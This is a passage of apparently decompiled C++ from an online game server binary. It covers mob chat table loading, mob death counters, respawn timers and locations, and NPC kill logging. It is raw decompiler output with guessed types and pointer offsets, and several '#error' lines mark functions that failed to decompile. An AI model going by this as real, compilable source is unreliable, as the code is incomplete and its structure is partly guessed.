v2->mcm_DetectBattle[v20]; v2->mcm_HelpReq[v20] = v2->mcm_HelpAck[v20]; v2->mcm_Killed[v20] = v2->mcm_HelpReq[v20]; v2->mcm_Damage[v20] = v2->mcm_Killed[v20]; v2->mcm_Attack[v20] = v2->mcm_Damage[v20]; v2->mcm_Wander[v20] = v2->mcm_Attack[v20]; ++v20; } while ( v20 < v2->mcm_MaxMobHandle ); } v79 = 0; v78 = 0; v77 = 0; v76 = 0; *(_DWORD *)wander = 0; strncpy(wander, "PIECE", 0x14u); v74 = 0; v73 = 0; v72 = 0; v71 = 0; *(_DWORD *)attack = 0; strncpy(attack, "ATTACK", 0x14u); v84 = 0; v83 = 0; v82 = 0; v81 = 0; *(_DWORD *)damage = 0; strncpy(damage, "DAMAGED", 0x14u); v64 = 0; v63 = 0; v62 = 0; v61 = 0; *(_DWORD *)killed = 0; strncpy(killed, "DEAD", 0x14u); v94 = 0; v93 = 0; v92 = 0; v91 = 0; *(_DWORD *)helpreq = 0; strncpy(helpreq, "HELPMAIN", 0x14u); v89 = 0; v88 = 0; v87 = 0; v86 = 0; *(_DWORD *)helpack = 0; strncpy(helpack, "HELPSUB", 0x14u); v69 = 0; v68 = 0; v67 = 0; v66 = 0; *(_DWORD *)detectbattle = 0; strncpy(detectbattle, "RACERESCU", 0x14u); tables = wander; v52 = attack; v53 = damage; v54 = killed; v56 = helpack; v55 = helpreq; v57 = detectbattle; sub = 0; if ( mobdatabox.mdb_mobspacies > 0 ) goto LABEL_9; for ( j = -1; ; j = BinaryDataBox::operator__(&mobdatabox.mdb_BinData.mobinf, v6)->ID ) { v22 = j; if ( j > mobdatabox.mdb_maxmobhandle || (v23 = &mobdatabox.mdb_index[j]) == 0 || !v23->data ) goto LABEL_15; v24 = v23->data->ID; if ( v24 != j ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::operator [] :Invalid mob index", j, v24); LABEL_15: v25 = 0; goto LABEL_16; } v25 = &mobdatabox.mdb_index[j]; LABEL_16: mobinf = v25; if ( !v25 ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Null inf", j); ShineExit("MobChat::MobChatManager::mcm_Load"); } v26 = 0; i = 0; while ( 1 ) { v27 = (&tables)[4 * v26]; *(_DWORD *)v28 = *(_DWORD *)v27; *(_QWORD *)&v28[4] = *(_QWORD *)(v27 + 4); *(_QWORD *)&v28[12] = *(_QWORD *)(v27 + 12); record = OptionReader::or_SelectFrom(&or, *(ORToken *)v28, "MobIndex", v25->data->InxName, 0); if ( record ) { v29 = *(_DWORD *)v27; v30 = *((_DWORD *)v27 + 1); v58 = *((_DWORD *)v27 + 2); v31 = *((_DWORD *)v27 + 3); v59 = *((_DWORD *)v27 + 4); if ( v29 != *(_DWORD *)wander || v30 != v76 || v58 != v77 || v31 != v78 || v59 != v79 ) { if ( v29 != *(_DWORD *)attack || v30 != v71 || v58 != v72 || v31 != v73 || v59 != v74 ) { if ( v29 != *(_DWORD *)damage || v30 != v81 || v58 != v82 || v31 != v83 || v59 != v84 ) { if ( v29 != *(_DWORD *)killed || v30 != v61 || v58 != v62 || v31 != v63 || v59 != v64 ) { if ( v29 != *(_DWORD *)helpreq || v30 != v91 || v58 != v92 || v31 != v93 || v59 != v94 ) { if ( v29 != *(_DWORD *)helpack || v30 != v86 || v58 != v87 || v31 != v88 || v59 != v89 ) { if ( v29 != *(_DWORD *)detectbattle || v30 != v66 || v58 != v67 || v31 != v68 || v59 != v69 ) { v46 = ORToken::ort_GetString((ORToken *)v27, &v101); AssertClass::ac_AssertFail(&shineassert, "Invalid Flag", v46); } else { if ( v2->mcm_DetectBattle[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail( &shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v44 = operator new(0x128u); if ( v44 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v44, (MobChat::MobChatRecord *)record); v2->mcm_DetectBattle[v22] = v45; } else { v2->mcm_DetectBattle[v22] = 0; } } } else { if ( v2->mcm_HelpAck[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail( &shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v42 = operator new(0x128u); if ( v42 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v42, (MobChat::MobChatRecord *)record); v2->mcm_HelpAck[v22] = v43; } else { v2->mcm_HelpAck[v22] = 0; } } } else { if ( v2->mcm_HelpReq[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v40 = operator new(0x128u); if ( v40 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v40, (MobChat::MobChatRecord *)record); v2->mcm_HelpReq[v22] = v41; } else { v2->mcm_HelpReq[v22] = 0; } } } else { if ( v2->mcm_Killed[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v38 = operator new(0x128u); if ( v38 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v38, (MobChat::MobChatRecord *)record); v2->mcm_Killed[v22] = v39; } else { v2->mcm_Killed[v22] = 0; } } } else { if ( v2->mcm_Damage[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v36 = operator new(0x128u); if ( v36 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v36, (MobChat::MobChatRecord *)record); v2->mcm_Damage[v22] = v37; } else { v2->mcm_Damage[v22] = 0; } } } else { if ( v2->mcm_Attack[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v34 = operator new(0x128u); if ( v34 ) { MobChat::MobChatElement::MobChatElement((MobChat::MobChatElement *)v34, (MobChat::MobChatRecord *)record); v2->mcm_Attack[v22] = v35; } else { v2->mcm_Attack[v22] = 0; } } } else { if ( v2->mcm_Wander[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v32 = operator new(0x130u); if ( v32 ) { MobChat::MobChatElementWander::MobChatElementWander( (MobChat::MobChatElementWander *)v32, (MobChat::MobChatRecord *)record); v2->mcm_Wander[v22] = v33; } else { v2->mcm_Wander[v22] = 0; } } } v26 = i++ + 1; if ( i >= 7 ) break; v25 = mobinf; } v6 = sub++ + 1; if ( sub >= mobdatabox.mdb_mobspacies ) break; LABEL_9: ; } v104 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (0047E4E0) -------------------------------------------------------- void __thiscall MobDeadCount::_MobDeadCount(MobDeadCount *this) { if ( this->mdc_Counter ) operator delete__(this->mdc_Counter); } //----- (0047E4F0) -------------------------------------------------------- void __thiscall MobDeadCount::mdc_Clear(MobDeadCount *this) { void **v1; // esi@1 unsigned int v2; // edx@1 void *v3; // edi@1 int v4; // edi@1 int i; // ecx@1 v1 = (void **)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobDeadCount::mdc_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobDeadCount::mdc_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = 2 * mobdatabox.mdb_maxmobhandle + 2; ++funcallanalizer.fca_stackpoint; v3 = *v1; memset(*v1, 0, 4 * (v2 >> 2)); v4 = (int)((char *)v3 + 4 * (v2 >> 2)); for ( i = v2 & 3; i; --i ) *(_BYTE *)v4++ = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_Clear"); } //----- (0047E570) -------------------------------------------------------- void __thiscall MobDeadCount::mdc_Count(MobDeadCount *this, unsigned __int16 mobid) { MobDeadCount *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobDeadCount::mdc_Count"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobDeadCount::mdc_Count"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mobid < (signed int)(mobdatabox.mdb_maxmobhandle + 1) ) ++v2->mdc_Counter[mobid]; else AssertClass::ac_AssertFail(&shineassert, "MobDeadCount::mdc_Counter : Invalid MobID", mobid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_Count"); } //----- (0047E630) -------------------------------------------------------- int __thiscall MobDeadCount::mdc_DeadCountGet(MobDeadCount *this, unsigned __int16 mobid) { MobDeadCount *v2; // esi@1 int result; // eax@2 int v4; // esi@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobDeadCount::mdc_DeadCountGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobDeadCount::mdc_DeadCountGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mobid < (signed int)(mobdatabox.mdb_maxmobhandle + 1) ) { v4 = v2->mdc_Counter[mobid]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_DeadCountGet"); result = v4; } else { AssertClass::ac_AssertFail(&shineassert, "MobDeadCount::mdc_Counter : Invalid MobID", mobid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_DeadCountGet"); result = 0; } return result; } //----- (0047E720) -------------------------------------------------------- void __thiscall MobDeadCount::mdc_Init(MobDeadCount *this) { MobDeadCount *v1; // esi@1 v1 = this; this->mdc_Counter = (unsigned __int16 *)operator new__(2 * mobdatabox.mdb_maxmobhandle + 2); MobDeadCount::mdc_Clear(v1); } //----- (0047E740) -------------------------------------------------------- #error "47E740: undefined or illegal type '#331' (funcsize=132)" //----- (0047E8F0) -------------------------------------------------------- int __thiscall PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_DWORD *)(this + 2) = *(_DWORD *)(a2 + 2); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_BYTE *)(this + 26) = *(_BYTE *)(a2 + 26); *(_BYTE *)(this + 27) = *(_BYTE *)(a2 + 27); *(_BYTE *)(this + 28) = *(_BYTE *)(a2 + 28); memcpy((void *)(this + 29), (const void *)(a2 + 29), 0x3Au); memcpy((void *)(this + 87), (const void *)(a2 + 87), 0x39u); return result; } //----- (0047E9C0) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete) { BriefInformationCharacter *v3; // esi@1 v3 = this; PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_((int)this->bic_BriefInfo, (int)bandittemplete); v3->bic_BriefInfo->handle = handle; v3->bic_BriefInfo->type = 4; v3->bic_BriefInfo->myguild = 0; v3->bic_BriefInfo->isGuildAcademyMember = 0; } //----- (0047EA10) -------------------------------------------------------- void __thiscall BriefInformationEffect::bie_InitBriefInfo(BriefInformationEffect *this, unsigned __int16 handle, Name8 *idx, unsigned __int16 detach, int scale) { char *v5; // eax@1 this->bie_BriefInfo->handle = handle; v5 = (char *)&this->bie_BriefInfo->effectname; *(_QWORD *)v5 = *(_QWORD *)&idx->n8_name[0]; *((_QWORD *)v5 + 1) = *(_QWORD *)&idx->n8_name[8]; *((_QWORD *)v5 + 2) = *(_QWORD *)&idx->n8_name[16]; *((_QWORD *)v5 + 3) = *(_QWORD *)&idx->n8_name[24]; this->bie_BriefInfo->detach = detach; this->bie_BriefInfo->scale = scale; } //----- (0047EA70) -------------------------------------------------------- void __thiscall EventMobRegen::EventMobRegen(EventMobRegen *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventMobRegen::_vftable_; } // 5ACE4C: using guessed type int (*EventMobRegen___vftable_)(); //----- (0047EA80) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int a3, int idx, int keeptime_millisec, int scale) { return 1; } //----- (0047EA90) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int x, int y, int d, int idx, int keeptime_millisec, int scale) { return 1; } //----- (0047EAA0) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_mob_Regenerate(int map_, int x, int y, int dir, __int16 handle, __int16 mobid, int bandittemplete, int regnum, int a9, int a10, int lev, char blockdata) { return 1; } //----- (0047EAB0) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreeder::MobBreeder(int this) { int result; // eax@1 result = this; *(_WORD *)(this + 60) = -1; *(_WORD *)(this + 6) = 0; *(_DWORD *)(this + 8) = -1; *(_DWORD *)(this + 84) = -1; *(_BYTE *)(this + 4) = 1; return result; } //----- (0047EAD0) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreeder::mb_RegenWaitTime(int this) { unsigned int v1; // edx@1 int v2; // eax@2 int result; // eax@10 int v4; // edx@10 v1 = (*(_DWORD *)(this + 80) - *(_DWORD *)(this + 76)) / 0xAu; if ( (signed int)v1 >= *(_DWORD *)(this + 28) ) { if ( (signed int)v1 >= *(_DWORD *)(this + 36) ) { if ( (signed int)v1 <= *(_DWORD *)(this + 52) ) { if ( (signed int)v1 <= *(_DWORD *)(this + 44) ) v2 = 0; else v2 = *(_DWORD *)(this + 48); } else { v2 = *(_DWORD *)(this + 56); } } else { v2 = *(_DWORD *)(this + 32); } } else { v2 = *(_DWORD *)(this + 24); } result = *(_DWORD *)(this + 72) + v2; v4 = *(_DWORD *)(this + 16); if ( result >= (unsigned int)v4 && (v4 = *(_DWORD *)(this + 20), result <= (unsigned int)v4) ) { *(_DWORD *)(this + 72) = result; } else { *(_DWORD *)(this + 72) = v4; result = v4; } return result; } //----- (0047EB30) -------------------------------------------------------- void __thiscall MobRegenClass::MobRegenLoc_Circular::MobRegenLoc_Circular(MobRegenClass::MobRegenLoc_Circular *this, int x, int y, int rad) { this->mrlc_X = x; this->mrlc_Y = y; this->mrlc_Rad = rad; } //----- (0047EB50) -------------------------------------------------------- void __thiscall MobRegenClass::MobRegenLoc_Circular::mrlc_Get(MobRegenClass::MobRegenLoc_Circular *this, SHINE_XY_TYPE *loc) { unsigned int v2; // eax@1 int v3; // eax@1 unsigned int v4; // edi@1 MobRegenClass::MobRegenLoc_Circular *v5; // ebp@1 int v6; // eax@2 int v7; // ecx@4 signed int v8; // kr00_4@8 unsigned int v9; // eax@8 __int64 v10; // qax@8 int v11; // edi@8 int v12; // ebx@8 int v13; // eax@8 v2 = rndbox.rb_box[3].rs_point.mask & (rndbox.rb_box[3].rs_point.value + 1); rndbox.rb_box[3].rs_point.value = v2; v3 = rndbox.rb_box[3].rs_slot[v2]; v4 = rndbox.rb_box[64].rs_point.value; v5 = this; if ( v3 ) { v6 = v3 - 1; if ( v6 ) { if ( v6 == 1 ) { rndbox.rb_box[32].rs_point.value = rndbox.rb_box[32].rs_point.mask & (rndbox.rb_box[32].rs_point.value + 1); v7 = rndbox.rb_box[32].rs_slot[rndbox.rb_box[32].rs_point.value] + 96; } else { v7 = (int)loc; } } else { rndbox.rb_box[32].rs_point.value = rndbox.rb_box[32].rs_point.mask & (rndbox.rb_box[32].rs_point.value + 1); v7 = rndbox.rb_box[32].rs_slot[rndbox.rb_box[32].rs_point.value] + 64; } } else { v4 = rndbox.rb_box[64].rs_point.mask & (rndbox.rb_box[64].rs_point.value + 1); rndbox.rb_box[64].rs_point.value = v4; v7 = rndbox.rb_box[64].rs_slot[v4]; } v8 = v7 * v5->mrlc_Rad; v9 = rndbox.rb_box[64].rs_point.mask & (v4 + 1); rndbox.rb_box[64].rs_point.value = v9; v10 = 180 * rndbox.rb_box[64].rs_slot[v9]; v11 = ((BYTE4(v10) & 0x3F) + (signed int)v10) >> 6; v12 = v8 / 128 * ShineRadian::sr_sin1024(&shineradian, v11) / 1024; v13 = ShineRadian::sr_cos1024(&shineradian, v11); loc->x = v12 + v5->mrlc_X; loc->y = v8 / 128 * v13 / 1024 + v5->mrlc_Y; } //----- (0047EC70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_BriefLocateSet(int this) { int v1; // eax@1 int v2; // ecx@1 char result; // al@1 v1 = *(_DWORD *)(this + 7551) + 5; v2 = this + 7567; *(_DWORD *)v2 = *(_DWORD *)v1; *(_DWORD *)(v2 + 4) = *(_DWORD *)(v1 + 4); result = *(_BYTE *)(v1 + 8); *(_BYTE *)(v2 + 8) = result; return result; } //----- (0047EC90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::sm_BriefLocateSet(ShineObjectClass::ShineBandit *this) { char *v1; // eax@1 char *v2; // ecx@1 v1 = (char *)&this->sb_MobBriefInfo.bic_BriefInfo->coord; v2 = &this->gap0[7567]; *(_DWORD *)v2 = *(_DWORD *)v1; *((_DWORD *)v2 + 1) = *((_DWORD *)v1 + 1); v2[8] = v1[8]; } //----- (0047ECB0) -------------------------------------------------------- MobDataBox::MobDataBoxIndex *__thiscall ShineObjectClass::ShineMob::sm_InitBriefInfo(int this, __int16 handle, unsigned __int16 mobid, int bandittemplete) { int v4; // esi@1 MobDataBox::MobDataBoxIndex *result; // eax@1 v4 = this; **(_WORD **)(this + 7551) = handle; *(_WORD *)(*(_DWORD *)(this + 7551) + 3) = mobid; *(_BYTE *)(*(_DWORD *)(this + 7551) + 14) = 0; result = MobDataBox::operator__(&mobdatabox, mobid); *(_DWORD *)(v4 + 7576) = result; return result; } //----- (0047ECF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::sm_InitBriefInfo(ShineObjectClass::ShineBandit *this, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete) { if ( bandittemplete ) BriefInformationCharacter::bic_InitBriefInfo(&this->sb_MobBriefInfo, handle, bandittemplete); } //----- (0047ED10) -------------------------------------------------------- void __thiscall KQRegenTable::KQRegenTable(KQRegenTable *this) { KQRegenTable *v1; // ebp@1 int v2; // esi@1 signed int v3; // edi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x10u, 50, (void (__thiscall *)(void *))KQRegenTable::Element::Element, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = (int)&v1->kqrt_Array[0].tablename.n3_name[8]; v3 = 50; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; *(_DWORD *)(v2 - 8) = 0; strncpy((char *)(v2 - 8), byte_59A24E, 0xCu); v2 += 16; --v3; } while ( v3 ); v1->kqrt_Number = 0; } //----- (0047EDB0) -------------------------------------------------------- void __thiscall FamilyMobManagement::MobSpeciesSlot::mss_Clear(FamilyMobManagement::MobSpeciesSlot *this) { this->mss_Killed = 0; } //----- (0047EDC0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 6; return result; } //----- (0047EDE0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5ACE50: using guessed type int (__stdcall *List_MobRegenClass__MobBreeder____vftable_[3])(__int16 hnd); //----- (0047EE00) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, #811 *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, (const void *)ele, 0x64u); return 1; } // 47EE16: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0047EE40) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, #811 *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy((void *)ele, *(const void **)v4, 0x64u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0047EE90) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, #811 *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy((void *)ele, *(const void **)v4, 0x64u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0047EEE0) -------------------------------------------------------- char __thiscall List::l_4AllInList(List *this, char (__thiscall *func)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16)) { ListStruct *v2; // edi@0 List *v3; // esi@1 int v4; // eax@1 ListStruct *v5; // ecx@1 ListStruct *v6; // edx@2 int v7; // eax@2 char result; // al@5 v3 = this; v4 = this->l_Finger.store; v5 = this->l_Array; LOWORD(v5) = v5[v4].ls_Next; if ( (unsigned __int16)v5 >= v3->l_MaxSize ) { LABEL_5: result = 1; } else { while ( 1 ) { v6 = v3->l_Array; v7 = (unsigned __int16)v5; if ( !v6[v7].ls_IsActiv ) break; LOWORD(v2) = v6[v7].ls_Next; if ( !func(v6[v7].ls_Content, v3, (unsigned __int16)v5) ) break; v5 = v2; if ( (unsigned __int16)v2 >= v3->l_MaxSize ) goto LABEL_5; } result = 0; } return result; } //----- (0047EF40) -------------------------------------------------------- void __thiscall SafePointer::SafePointer(SafePointer *this) { SafePointer *v1; // esi@1 void *v2; // eax@1 OptionReader *v3; // eax@2 v1 = this; v2 = operator new(0x10854u); if ( v2 ) { OptionReader::OptionReader((OptionReader *)v2); v1->sp_pointer = v3; } else { v1->sp_pointer = 0; } } //----- (0047EFB0) -------------------------------------------------------- void __thiscall SafePointer::_SafePointer(SafePointer *this) { void *v1; // esi@1 v1 = this->sp_pointer; if ( this->sp_pointer ) { OptionReader::_OptionReader(this->sp_pointer); operator delete(v1); } } //----- (0047EFD0) -------------------------------------------------------- void __cdecl std::fill(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Val) { FamilyMobManagement::MobSpeciesSlot *i; // eax@1 FamilyMobManagement::MobSpeciesSlot *v4; // edi@2 for ( i = _First; i != _Last; v4->mss_Killed = _Val->mss_Killed ) { v4 = i; *(_DWORD *)&i->mss_Species = *(_DWORD *)&_Val->mss_Species; ++i; } } //----- (0047F000) -------------------------------------------------------- #error "47F000: undefined or illegal type '#331' (funcsize=118)" //----- (0047F1D0) -------------------------------------------------------- #error "47F1D0: undefined or illegal type '#331' (funcsize=128)" //----- (0047F3C0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_npc_FromTable() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_npc_FromTable"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_npc_FromTable"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_npc_FromTable"); } //----- (0047F400) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_npc_FromTable(ShineObjectClass::ShineNPC *this) { ShineObjectClass::ShineNPC *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_npc_FromTable"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_npc_FromTable"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sn_FromTable = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_npc_FromTable"); } //----- (0047F460) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_KilledBy(ShineObjectClass::ShineNPC *this, #331 *a2, int damage, int aggrorate, unsigned int lot_rate) { ShineObjectClass::ShineNPC *v5; // esi@1 DebugLogging *v6; // eax@2 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_KilledBy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_KilledBy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v5->sn_FromTable ) { v6 = DebugLogging::operator<<(&NPCDeadLog, "ShineObjectClass::ShineNPC::so_KilledBy : NPC from table is killed"); DebugLogging::operator<<(v6, &deb_LF); } else { ShineObjectClass::ShineMob::so_KilledBy((#331 *)v5, (int)a2, damage, aggrorate); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_KilledBy"); } //----- (0047F530) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreeder::mb_Setregentime(void *this, int sec) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Setregentime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_Setregentime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 3) = sec; *((_DWORD *)v2 + 4) = sec; *((_DWORD *)v2 + 5) = sec; *((_DWORD *)v2 + 6) = sec; *((_DWORD *)v2 + 7) = sec; *((_DWORD *)v2 + 8) = sec; *((_DWORD *)v2 + 9) = sec; *((_DWORD *)v2 + 10) = sec; *((_DWORD *)v2 + 11) = sec; *((_DWORD *)v2 + 12) = sec; *((_DWORD *)v2 + 13) = sec; *((_DWORD *)v2 + 14) = sec; *((_DWORD *)v2 + 18) = *((_DWORD *)v2 + 3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Setregentime"); } //----- (0047F5B0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::_MobBreederGroup(MobRegenClass::MobBreederGroup *this) { MobRegenClass::MobBreederGroup *v1; // esi@1 void *v2; // esi@1 v1 = this; *(_DWORD *)this = MobRegenClass::MobBreederGroup::_vftable_; _eh_vector_destructor_iterator_( (char *)this + 24, 0x64u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)v1 = List::_vftable_; v2 = (void *)*((_DWORD *)v1 + 2); if ( v2 ) operator delete__(v2); } // 5ACE50: using guessed type int (__stdcall *List_MobRegenClass__MobBreeder____vftable_[3])(__int16 hnd); // 5ACFE8: using guessed type int (__thiscall *MobRegenClass__MobBreederGroup___vftable_[3])(List *this, __int16 hnd); //----- (0047F620) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_SetRegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc) { MobRegenClass::MobBreederGroup *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_SetRegenLoc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_SetRegenLoc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 1632) = loc->x; *((_DWORD *)v2 + 1633) = loc->y; *((_DWORD *)v2 + 1634) = 50; *((_DWORD *)v2 + 1641) = 50; *((_DWORD *)v2 + 1635) = 0; *((_DWORD *)v2 + 1636) = 0; *((_DWORD *)v2 + 1638) = 0; *((_DWORD *)v2 + 1637) = 0; *((_DWORD *)v2 + 1640) = 0; *((_DWORD *)v2 + 1639) = 0; *((_DWORD *)v2 + 1642) = 2500; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_SetRegenLoc"); } //----- (0047F6D0) -------------------------------------------------------- #error 